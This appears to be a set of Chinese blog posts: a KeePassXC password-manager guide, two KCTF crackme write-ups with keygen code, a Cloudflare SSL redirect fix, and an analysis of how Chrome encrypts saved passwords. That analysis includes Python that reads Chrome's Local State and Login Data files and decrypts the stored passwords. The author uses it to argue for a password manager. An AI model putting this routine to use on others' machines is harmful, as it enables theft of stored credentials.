环境背景

基于上一篇博文简单讲述浏览器存储密码的问题，目前市面上主要存有以下几种解决方案

1. 将密码记录在密码本（物理），每次使用需翻开查阅
2. 借助第三类密码管理软件
3. 桌面、个人文件夹中使用txt或word等文档保存

首先排除密码本，这种需要随身携带，给人一种退回“农耕时代”的感觉； 保存在文档中的方式，由于存在个性化差异，感觉稍好一点，但明文保存总感觉差点意思；于是把目光放在密码管理软件中，目前主流的密码管理软件有这几种：Bitwarden（支持自部署），lastpass（付费），Vaultwarden（支持自部署），1password（付费），keepassxc（本地），这几款都具有较高的可用性，笔者最终选定了keepassxc

软件安装

官网链接：https://keepassxc.org/download/#code

进入官网，选择适合自己的版本正常安装

安装好后，这里我们根据需要创建账号密码数据库来存储账号数据，这里提供了从零开始创建空白数据库与导入自己的账号密码文件两种创建方式

按照提示输入创建数据库的名称后，需要设置解密时间，这里解密时间越长，安全性越高，相对应的，解密时间也会越长

后边的高级设置中可对加密函数等进行设置

继续下一步，会提示你输入数据库的密码，这里注意今后存储在该软件中的一切账号数据都会使用这个密码来加/解密，如后期遗失相当于丢失所有账号密码数据，因此，这个密码要具备如下特性：

1. 足够复杂
2. 保证不会被遗忘

为提高数据库破解难度，下方在密码之外可以添加密钥文件(可以是任何文件)，只有同时知道密码和密钥文件的前提下才能够访问软件中存储的账号数据，因此密钥文件最好选取内容不会发生变化的文件（如图片、音乐、pdf等）

设置完成后就正式进入了软件界面，可以点击这个按钮添加账号密码信息，或在“数据库”中选择“导入”按钮，导入自己的账号信息数据

注意： 数据库建好后可随意移动，要打开现有数据库，请执行以下步骤：

1. 打开您的KeePassXC应用程序。单击“打开现有数据库”按钮或从“最近数据库”列表中选择一个最近数据库。
2. 输入数据库的密码。
3. （可选）如果在创建数据库时选择了密钥文件作为其他身份验证因素，则浏览该密钥文件。
4. 单击确定

浏览器插件

试想，每次输入账号密码的时候，都需要打开KeePassXC查找到自己要找的账号，然后把账号和密码都复制到浏览器中，这个过程太麻烦繁琐，我们理想中应该是软件能够自动完成账号和密码的填充，好在KeePassXC提供了相应的浏览器插件支持，能够完成上述操作

链接：https://keepassxc.org/download/#browser

首先按照提示安装好插件，然后在KeePassXC的设置界面，打开浏览器集成，并按照自身浏览器选择相应的集成环境

确保KeePassXC开启的情况下，点击浏览器插件，插件会自动检测连接状态，弹出“KeePassXC-Browser尚未设置”后，点击连接按钮，此时KeePassXC中会弹出关联请求，随意输入ID并保存后，就能够借助这一插件进行互联网密码的保存和自动输入

多端同步

可能有人要说了，数据库只在本地，我有多台电脑，还有手机、平板，在一个设备中新增了账号密码，需要手动把数据库文件往每个设备都拷贝一份太麻烦，因此，需要借助三方服务来同步数据库

我这里采用的是坚果云同步(https://www.jianguoyun.com/)，坚果云提供免费用户一个月1G的上传流量服务，对于几百K的数据库来说绰绰有余

首先将数据库文件上传到坚果云(文件夹名字要求全是数字/字母)

然后在右上角“账户”->“账户信息”->“安全选项”中，添加一个应用并生成密码

比如我的情况是在8123文件夹下边的8123.kdbx，因此，我的数据库信息如下：

数据库Dav链接：https://dav.jianguoyun.com/dav/8123/8123.kdbx

账户：坚果云账户

密码：生成的应用密码

电脑端通过安装坚果云进行同步，安卓端通过生成的数据库链接、账户和密码访问

应用填充

首先应该选中需要自动填充的账号信息条目，右键选择编辑条目

打开自动输入，在窗口关联中添加需要自动输入密码的窗口标题名，直接写“*”则表示在所有窗口都可以。

更多的操作可以参考“入门指南”和“用户手册”

手机填充

安卓端在应用市场下载Keepass2Android，采用上边生成的坚果云的WebDav地址、账号、密码即可

题目链接：https://ctf.kanxue.com/game-season_fight-243.htm

首先解压，看到是个exe，查壳

嗯，良民，无壳，用.NET写的，来人啊，拖进dnSpy

无加密无混肴，很容易就找到了主函数，

可以看到先对输入进行长度校验，不是70字节直接退出

然后又对前五位后一位进行校验，因此得出key应该是这样的形式：flag{*}

对剩余的64位key进行判断，如果不是0-9直接退出，并对内存中9*9的区域进行判断，如果区域数值不是0xF则跳过，否则从前到后写一位key的数值减去48后填进去（并且能看到前边有shuduku的字样）

这块9*9的区域中存放着什么数据？可以从文件偏移0x10800中找到，可以看到81个数字中有25位不是0xF，因此这边以此将64位key的前56位以此写入0xF的位置

这里对9*9区域的每一行进行校验，确保每一行数据没有重复，后边继续对每一列进行校验，确保没有重复，如有重复则程序退出，从这里就能看出这块9*9的区域为什么叫shudu了

所以，想要拿到key就硬着头皮玩这个数独游戏吧~不过，我这里用python写了一个脚本

def is_valid(board, row, col, num):
    """检查在数独板的某个位置放置数字num是否合法"""
    # 检查该行
    for i in range(9):
        if board[row][i] == num:
            return False
    
    # 检查该列
    for i in range(9):
        if board[i][col] == num:
            return False
    
    # 检查3x3的小方格
    start_row, start_col = 3 * (row // 3), 3 * (col // 3)
    for i in range(3):
        for j in range(3):
            if board[i + start_row][j + start_col] == num:
                return False
    return True

def solve_sudoku(board):
    """使用回溯算法解决数独问题"""
    for row in range(9):
        for col in range(9):
            if board[row][col] == 0:
                for num in range(1, 10):
                    if is_valid(board, row, col, num):
                        board[row][col] = num
                        if solve_sudoku(board):
                            return True
                        board[row][col] = 0
                return False
    return True

def print_sudoku(board):
    """格式化打印数独板"""
    for row in board:
        print(" ".join(str(num) if num != 0 else "0F" for num in row))

# 初始数独问题，0F表示空格
sudoku_board = [
    [0, 0, 2, 0, 0, 7, 0, 0, 0],
    [0, 6, 0, 9, 0, 0, 4, 0, 0],
    [0, 9, 0, 2, 5, 0, 0, 0, 3],
    [0, 0, 0, 4, 0, 0, 1, 0, 0],
    [7, 3, 0, 0, 6, 0, 0, 0, 0],
    [0, 0, 9, 5, 3, 0, 0, 6, 0],
    [0, 0, 6, 3, 4, 0, 0, 7, 0],
    [8, 0, 0, 0, 0, 0, 0, 0, 9],
    [0, 0, 0, 0, 0, 0, 0, 5, 0]
]

# 解决数独并打印解
if solve_sudoku(sudoku_board):
    print("Sudoku solved successfully:")
    print_sudoku(sudoku_board)
else:
    print("No solution exists.")

因此前边56位为34689155813271746868579324125982187492581517263447389126，继续往后看

4*4区域赋值

可以看到将key最后8位一一进行校验，初始坐标为（0，0），如果key为‘A’，则横坐标减一；为‘D’，则横坐标加一，‘W’和‘S’同理；并且横坐标不能大于3小于0，纵坐标不能大于3小于0，坐标对应的数值不能等于0x45

因此可以看出是一个走迷宫的小游戏，要求8步内从起点(33)走到终点(63)，因此后8位为SDSDDWWA

将key拼接起来就是flag{34689155813271746868579324125982187492581517263447389126SDSDDWWA}

不过说起数独游戏...不知道有哪位大佬有兴趣尝试一下这个？

题目链接：https://ctf.kanxue.com/game-season_fight-250.htm

首先查壳，无壳，ida走起

; int __cdecl main(int argc, const char **argv, const char **envp)
_main proc near

argc= dword ptr  4
argv= dword ptr  8
envp= dword ptr  0Ch

push    offset aInputUser ; "Input User:\n"
call    dword_403FDC
push    offset byte_403800
call    dword_403FD8
push    offset aInputSerial ; "Input Serial:\n"
call    dword_403FDC
push    offset byte_403418
call    dword_403FD8
push    offset off_403FD0
call    off_403FD4 ;校验
add     esp, 14h
call    ds:getchar
xor     eax, eax
retn
_main endp

很明显能找到主函数，并且代码非常简单，提示用户输入用户名和密码后调用函数对密码进行校验后退出，很明显程序的主要功能都在17行的调用中实现，跟进去后很快就发现程序调用了sub_401000，根据题目中给的账号和密码，把程序拖进OD一顿分析，发现函数作用是将长度为0x86的密码从字符转换为长度0x45的十六进制(结尾两个0x00)，转换后的数据称为Serial_2，实例代码如下：

import binascii
binascii.a2b_hex(hex_input)
# 逆运算
binascii.b2a_hex(b_input)

可以看到后边紧接着用自身程序0x401120开始的0x2B9字节与Serial_2进行异或，因此现在需要提取这0x2B9字节的数据

通过查看目标程序，能够看到代码区.text的虚拟地址偏移为0x1000，大小为0xC00，加上Imagebase0x400000，得出代码区.text在程序进程中的内存地址范围为0x401000到0x401C00，自身程序0x401120开始的0x2B9字节落在了代码区段中。通过PointerToRawData和SizeOfRawData得知代码区.text在程序文件中的偏移地址为0x400到0x1000，因此从文件偏移0x400+0x120开始提取0x2B9字节。

code_401120 =binascii.a2b_hex( "83EC4CA10030400033C48944244853555657BB18344000E8C4FEFFFF8BF0B9100000008D7C2414F3A566A550A4FF15B02040008B7C24648B770483C40433C990B86B4CA407F7E1D1EA6BD2438BC12BC28A1431305404148D4404144181F9B90200007CDC8A4C2414B8010000008D49008A5404143254041583C00532540411325404133254041232CA83F8427CE28A54245632D1885424568D442414B94200000030104083E90175F88A0D0038400033C0BA0038400084C9741A8D9B000000000FB6C933C881E1FF000000428BC18A0A84C975EC8B3783E00F8D4444148D542414894424102BC285C07E688BE88BFE83F80472148B0F3B0A751283ED0483C20483C70483FD0473EC85ED74470FB60F0FB61A2BCB753183FD0176380FB64F010FB65A012BCB752083FD0276270FB64F020FB65A022BCB750F83FD0376160FB64F030FB652032BCAC1F91F83C9010F85FF000000BF2C0000002BF885FF7E718D4C042B8D54301783FF047219EB038D49008B023B01751283EF0483C10483C20483FF0473EC85FF74470FB6020FB6312BC6753183FF0176380FB642010FB671012BC6752083FF0276270FB642020FB671022BC6750F83FF0376160FB642030FB649032BC1C1F81F83C8010F85830000008B7424108B542460B905000000BFE83B4000F3A566A5A48B7204BDE83B4000BF170000000FBE168A450083E207B1082ACA8AD8D2EB8BCAD2E046450AD883EF01885DFF75DF8D5717B8F8204000B9E83B40008B313B30752B83EA0483C00483C10483FA0473EC8A103A1175178A50013A5101750F8A40023A410275076830214000EB056840214000FF15A42040008B4C245C83C4045F5E5D5B33CCE80400000083C44CC33B0D003040007502F3C3E9AC020000688C184000E8A3040000A1B8524000C70424844F4000FF35B4524000A3844F400068744F400068784F400068704F4000FF159820400083")

实例代码如下：

def mima_xor_hex(str1,str2):
    num_str1 = len(str1)
    num_str2 = len(str2)
    num = 0
    b_str1 = bytearray(str1)
    for i in range(num_str2):
        b_str1[num] ^= str2[i]
        print("%x" %  b_str1[num])
        num+=1
        if num == num_str1:
            num = 0
    return b_str1

Serial_3 = mima_xor_hex(Serial_2,code_401120)
#逆运算还是该函数

继续往后看，这里通过调试可以看出是将Serial_3前0x42个字节进行xor，结果存在Serial_3[0x42]，然后用Serial_3[0x42]与Serial_3开始的0x42个字节分别进行xor，结果存在对应位置，得到Serial_4

实例代码如下：

def Serial_3to4(Serial_3):
    n = Serial_3[0]
    for i in range(0x42):
        n ^= Serial_3[i+1]
    Serial_3[0x42] = n
    for i in range(0x42):
        Serial_3[i] ^= n
    return Serial_3
#逆向
def Serial_4to3(Serial_4):
    n = Serial_4[0x42]
    for i in range(0x42):
        Serial_4[i] ^= n
    for i in range(0x42):
        n ^= Serial_3[i]
    Serial_3[0x42] = n
    return Serial_4

继续往后看，这里通过输入的用户名计算出一个数字data_1，示例代码如下：

def user_data(string_name):
    aaa = 0
    for i in name:
        aaa ^= ord(i)
    return (aaa & 0xf)*2

后边的代码看着比较乱，拖进ida瞅瞅

这里是一个简单的比较，比较Serial_4与0x4010D0开始的data_1个字节是否相同，相同则继续，不同则失败

Serial_4[data_1+0x17]与0x4010D0[data_1+0x17]开始比较0x2c-data_1个字节，相同则继续，不同则失败

首先取Serial_4[data_1]和0x401120[0]这两个字节，0x401120[0]&0xf（只保留低3位，作为左位移位数），用0x8-0x401120[0]&0xf得出右位移位数，对Serial_4[data_1]一次进行左位移和右位移，将左右位移结果进行或操作写在Serial_4[data_1]，得到Serial_5

按照上述步骤合计进行0x17此操作，此时数据区已经能够明显的看到Serial_5为一串明文

最后果不其然对Serial_5进行判断，其值如果为“KCTF-2024-CRACK-SUCCESS”则判断成功，否则视为失败，至此，整个流程分析结束

不难看出密码被分为三段，分别为[0,data_1)，[data_1,0x17+data_1)，[0x17+data_1,0x2c+0x17)，这三段分别进行不同校验，而题目给定的用户名用来计算data_1，data_1确定之后对三块区域进行拼接+逆运算即可

破解机代码：

import binascii

def mima_xor_hex(str1,str2):
    num_str1 = len(str1)
    num_str2 = len(str2)
    num = 0
    if type(str1) != bytearray:
     b_str1 = bytearray(str1)
    else:
     b_str1 = str1
    for i in range(num_str2):
        b_str1[num] ^= str2[i]
        num+=1
        if num == num_str1:
            num = 0
    return b_str1

def Serial_3to4(Serial_3):
    n = Serial_3[0]
    for i in range(0x42):
        n ^= Serial_3[i+1]
    Serial_3[0x42] = n
    for i in range(0x42):
        Serial_3[i] ^= n
    return Serial_3

def Serial_4to3(Serial_4_):
    Serial_4 = bytearray(Serial_4_)
    n = Serial_4[0x42]
    for i in range(0x42):
        Serial_4[i] ^= n
    for i in range(0x42):
        n ^= Serial_4[i]
    Serial_4[0x42] = n
    return Serial_4

def user_data(string_name):
    aaa = 0
    for i in name:
        aaa ^= ord(i)
    return (aaa & 0xf)*2

code_401120 =binascii.a2b_hex( "83EC4CA10030400033C48944244853555657BB18344000E8C4FEFFFF8BF0B9100000008D7C2414F3A566A550A4FF15B02040008B7C24648B770483C40433C990B86B4CA407F7E1D1EA6BD2438BC12BC28A1431305404148D4404144181F9B90200007CDC8A4C2414B8010000008D49008A5404143254041583C00532540411325404133254041232CA83F8427CE28A54245632D1885424568D442414B94200000030104083E90175F88A0D0038400033C0BA0038400084C9741A8D9B000000000FB6C933C881E1FF000000428BC18A0A84C975EC8B3783E00F8D4444148D542414894424102BC285C07E688BE88BFE83F80472148B0F3B0A751283ED0483C20483C70483FD0473EC85ED74470FB60F0FB61A2BCB753183FD0176380FB64F010FB65A012BCB752083FD0276270FB64F020FB65A022BCB750F83FD0376160FB64F030FB652032BCAC1F91F83C9010F85FF000000BF2C0000002BF885FF7E718D4C042B8D54301783FF047219EB038D49008B023B01751283EF0483C10483C20483FF0473EC85FF74470FB6020FB6312BC6753183FF0176380FB642010FB671012BC6752083FF0276270FB642020FB671022BC6750F83FF0376160FB642030FB649032BC1C1F81F83C8010F85830000008B7424108B542460B905000000BFE83B4000F3A566A5A48B7204BDE83B4000BF170000000FBE168A450083E207B1082ACA8AD8D2EB8BCAD2E046450AD883EF01885DFF75DF8D5717B8F8204000B9E83B40008B313B30752B83EA0483C00483C10483FA0473EC8A103A1175178A50013A5101750F8A40023A410275076830214000EB056840214000FF15A42040008B4C245C83C4045F5E5D5B33CCE80400000083C44CC33B0D003040007502F3C3E9AC020000688C184000E8A3040000A1B8524000C70424844F4000FF35B4524000A3844F400068744F400068784F400068704F4000FF159820400083")
code_4010D0 = binascii.a2b_hex("6810214000FF15DC3F40006800384000FF15D83F40006820214000FF15DC3F40006818344000FF15D83F400068D03F4000FF15D43F400083C414FF15A020400033C0C3")

name = input("input your name:")
name_data = user_data(name)
Serial_4 = code_4010D0[0:name_data] + binascii.a2b_hex("693445232D32303286D2A125144369694DAA6843545353") + code_4010D0[name_data+0x17:0x43]
Serial_3 = Serial_4to3(Serial_4)
Serial_2 = mima_xor_hex(Serial_3,code_401120)
print(binascii.b2a_hex(Serial_2))

故事背景

上级部门要求严禁在浏览器中存储任何系统账户用户名和密码，因为这样存储不安全，你讲得这些我都懂，但我偏偏就不做，平时单位系统本来就多，除单位系统之外，还会有百度云、知乎、税务系统等网站也需要保存账号和密码，总不能再回到山顶洞人时期都记录在本子上吧，所以又让大家不要保存密码，又不提供切实可行的解决方案。

凭什么听它的？

众所周知，存储在chrome、火狐、edge、360、qq等浏览器中的密码都不是那么的安全，就以我用的chrome浏览器为例：

首先在chrome浏览器中添加一个账户/密码，在chrome浏览器中可以从“右上角三个点->密码和自动填充->Google 密码管理工具”打开，然后输入windows系统登录密码就可以查看对应的账号和密码。

此时，可以在如下链接中看到名为“Login Data”的文件，该文件就是记录着用户账户密码文件

%LocalAppData%\Google\Chrome\User Data\Default\Login Data

而这个文件其实是一个SQLite数据库文件：

SQLite可在此链接下载：https://sqlitestudio.pl/

使用SQLite打开文件即可看到其中赫然记录着我们刚才添加的账户信息，不过看样子密码已经经过加密处理，无法直接看到原文，看起来好像并没有大家说的那么不堪？但故事往往并没有那么简单。

众所周知chrome浏览器的内核是chromium，而chromium是开源的，因此，有没有可能通过源码获取这里的加密手段？遂和google进行了一阵友好交流，在chromium源码中定位到一个关键文件os_crypt_win.cc

https://source.chromium.org/chromium/chromium/src/+/main:components/os_crypt/sync/os_crypt_win.cc

在下边的代码中能看到有一个字符串加密函数

bool OSCryptImpl::EncryptString(const std::string& plaintext,
                            std::string* ciphertext) {
  if (use_legacy_)
    //在windows系统中use_legacy_为false，即不使用下边老旧的加密方法
    return EncryptStringWithDPAPI(plaintext, ciphertext);
  //这里可以看到使用了AES256进行加密
  crypto::Aead aead(crypto::Aead::AES_256_GCM);
  //GetRawEncryptionKey函数获取密钥
  const auto key = GetRawEncryptionKey();
  aead.Init(&key);

  //数据边界检查
  DCHECK_EQ(kKeyLength, aead.KeyLength());
  DCHECK_EQ(kNonceLength, aead.NonceLength());
  //初始化随机字符串
  std::string nonce(kNonceLength, '\0');
  crypto::RandBytes(base::as_writable_byte_span(nonce));
  //进行加密处理
  if (!aead.Seal(plaintext, nonce, std::string(), ciphertext))
    return false;
  
  ciphertext->insert(0, nonce);
  //kEncryptionVersionPrefix值为'v10'，这与上边数据库中查看到加密数据的标志头一致
  ciphertext->insert(0, kEncryptionVersionPrefix);
  return true;
}

AES是一种对称密钥加密算法，解密和加密密钥是相同的，因此，我们知道了加密算法后还应获取到对应的密钥才能对密码进行解密，通过翻阅代码发现，OSCryptImpl类在初始化的时候就已经生成密钥并进行存储

bool OSCryptImpl::Init(PrefService* local_state) {
  // 判断密钥状态
  switch (InitWithExistingKey(local_state)) {
    case OSCrypt::kSuccess:
      return true;
    case OSCrypt::kKeyDoesNotExist:
      break;
    case OSCrypt::kInvalidKeyFormat:
      return false;
    case OSCrypt::kDecryptionFailed:
      break;
  }
    
  // 在密钥不存在或解密密钥失败的情况下重新生成一个密钥
  std::string key(kKeyLength, '\0');
  crypto::RandBytes(base::as_writable_byte_span(key));
  // 将密钥存储在本地
  if (!EncryptAndStoreKey(key, local_state)) {
    return false;
  }
    
  // 标志位
  local_state->SetBoolean(kOsCryptAuditEnabledPrefName, true);
  // 将生成的密钥分配给encryption_key_
  encryption_key_.assign(key);
  return true;
}

通过参数名字+谷歌搜索确定密钥路径在如下路径的json文件中

%LocalAppData%\Google\Chrome\User Data\Local State

继续跟进存储函数

bool EncryptAndStoreKey(const std::string& key, PrefService* local_state) {
  std::string encrypted_key;
  // 在EncryptStringWithDPAPI函数中对密钥进行CryptProtectData函数加密
  if (!EncryptStringWithDPAPI(key, &encrypted_key)) {
    return false;
  }

  // kDPAPIKeyPrefix值为'DPAPI'
  encrypted_key.insert(0, kDPAPIKeyPrefix);
  // 可以看到将密钥进行base64编码
  std::string base64_key = base::Base64Encode(encrypted_key);
  // kOsCryptEncryptedKeyPrefName值为"os_crypt.encrypted_key"，此处可知道密钥存储在json文件的os_crypt.encrypted_key后边
  local_state->SetString(kOsCryptEncryptedKeyPrefName, base64_key);
  return true;
}

梳理思路

整个流程梳理是这样的，首先生成密钥A，通过A对用户密码进行AES256加密，并存放在名为“Login Data”的SOLite数据库中，然后对密钥A通过CryptProtectData函数加密，再经过base64编码放在“Local State”文件中的os_crypt.encrypted_key后边，因此，解密流程应该倒着来。

#获取密钥
def get_secret_key():
    try:
        with open( CHROME_PATH_LOCAL_STATE, "r", encoding='utf-8') as f:
            local_state = f.read()
            local_state = json.loads(local_state)
        secret_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
        # 移去标志头
        secret_key = secret_key[5:]
        secret_key = win32crypt.CryptUnprotectData(secret_key, None, None, None, 0)[1]
        return secret_key
    except Exception as e:
        print("%s"%str(e))
        return None
#AES解密
def decrypt_password(ciphertext, secret_key):
    try:
        initialisation_vector = ciphertext[3:15]
        encrypted_password = ciphertext[15:-16]
        cipher = generate_cipher(secret_key, initialisation_vector)
        decrypted_pass = decrypt_payload(cipher, encrypted_password)
        decrypted_pass = decrypted_pass.decode()  
        return decrypted_pass
    except Exception as e:
        print("%s"%str(e))
        return None

最终成功解密看到登录网址、账号和密码

大家都是冲浪人，常言道，“常在河边走，那有不湿鞋”，万一哪天不小心被钓鱼电脑中病毒，浏览器中的密码被一网打尽。因此，上级部门的圣旨还是接下来的好。于是借着这次机会，也给自己的密码管理升升级。

本博客前端采用Vercel托管，搭建过程中发现一个意料之外的dns解析错误，感觉挺有趣的。 从我拿到域名之后的操作流程如下：

1. 从域名提供商那边托管域名到cloudflare；
2. 在cloudflare控制台中添加一条CNAME记录，用于将域名解析指向Vercel的CNAME服务器：cname.vercel-dns.com；
3. 在Vervel托管服务中添加域名，完成域名整个解析链。

理论上来看没有任何问题，但经过一段时间后，发现域名不仅无法正确解析，并且会出现ERR_TOO_MANY_REDIRECT（重定向次数太多）的错误。在经过一系列排查无果后，进F12开发者工具查看发现，域名解析的请求被反复重定向到cloudflare的服务器，这个时候开始怀疑是cloudflare的配置有问题，google后得知，在cloudflare中将SSL/TLS加密模式变更为“完全”或“完全（严格）”即可解决问题。

Flexible：当我们的源网站没有配置 HTTPS 支持时，启用这个选项，Cloudflare 会在回源的时候通过 HTTP 协议访问我们的网站。

Full：当我们的源网站支持 HTTPS，但是 HTTPS 证书和域名不匹配或者是自签名证书时，Cloudflare 会通过 HTTPS 协议访问源网站，但不会验证证书，也就是说，即使我们的源网站提供的 HTTPS 证书不受浏览器信任，Cloudflare 也会通过 HTTPS 回源网站。

Full (strict)：当我们的源网站支持 HTTP ，并且证书有效时 (未过期且受信任)。Cloudflare 会通过 HTTPS 协议访问源网站，并在每个请求过程中验证证书。

了解了上面各个设置的功能，我们来看一下 Cloudflare 的循环重定向问题是怎么出现的，在 Cloudflare 中开启了 SSL 后，访问网站时出现循环重定向需满足下面两个条件：

SSL 中设置了 Flexible，CDN 以 HTTP 协议回源网站。 源网站支持 HTTPS，并且设置了通过 HTTP 协议访问时，自动跳转到 HTTPS 协议。

到这里，问题就出来了，访问 Cloudflare 的 CDN 服务器的时候，是通过 HTTPS 访问的，CDN 访问源网站的时候，是通过 HTTP 访问的，源网站上 HTTP 又自动跳转了 HTTPS，完美的一个循环重定向。重定向的次数多了，浏览器就报出了 ERR_TOO_MANY_REDIRECTS 的错误。